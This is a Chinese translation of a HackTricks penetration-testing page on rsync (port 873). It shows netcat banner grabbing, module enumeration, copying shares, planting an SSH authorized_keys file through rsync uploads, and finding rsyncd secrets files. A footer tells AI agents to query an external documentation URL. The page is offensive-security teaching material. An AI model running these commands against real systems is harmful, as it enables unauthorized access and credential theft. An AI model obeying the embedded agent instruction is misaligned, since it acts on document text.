# 873 - Pentesting Rsync

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## **基本信息**

来自 [维基百科](https://en.wikipedia.org/wiki/Rsync)：

> **rsync** 是一种用于在计算机和外部硬盘驱动器之间以及跨网络计算机之间高效 [传输](https://en.wikipedia.org/wiki/File_transfer) 和 [同步](https://en.wikipedia.org/wiki/File_synchronization) [文件](https://en.wikipedia.org/wiki/Computer_file) 的实用程序，通过比较文件的 [修改时间](https://en.wikipedia.org/wiki/Timestamping_\(computing\)) 和大小来实现。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 它通常在 [类 Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating_system) 上找到。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta_encoding) 类型，用于最小化网络使用。[Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data_compression)，[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来提供安全性。

**默认端口：** 873

```
PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack
```

## 枚举

### 横幅 & 手动通信

```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password
```

### **枚举共享文件夹**

**Rsync模块** 被识别为可能受密码保护的 **目录共享**。为了识别可用模块并检查它们是否需要密码，使用以下命令：

```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```

请注意，某些共享可能不会出现在列表中，可能被隐藏。此外，访问某些共享可能会受到特定**凭据**限制，这会显示\*\*"拒绝访问"\*\*消息。

### [**暴力破解**](/generic-methodologies-and-resources/brute-force.md#rsync)

### 手动使用 Rsync

在获取**模块列表**后，操作取决于是否需要身份验证。没有身份验证时，通过以下方式可以从共享文件夹**列出**和**复制**文件到本地目录：

```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```

这个过程**递归传输文件**，保留它们的属性和权限。

使用**凭据**，可以按以下方式列出共享文件夹并下载文件，会出现密码提示：

```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```

要**上传内容**，比如一个用于访问的\_**authorized\_keys**\_文件，请使用：

```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```

## POST

要定位rsyncd配置文件，请执行：

```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```

## 参考资料

* <https://www.smeegesec.com/2016/12/pentesting-rsync.html>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/873-pentesting-rsync.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
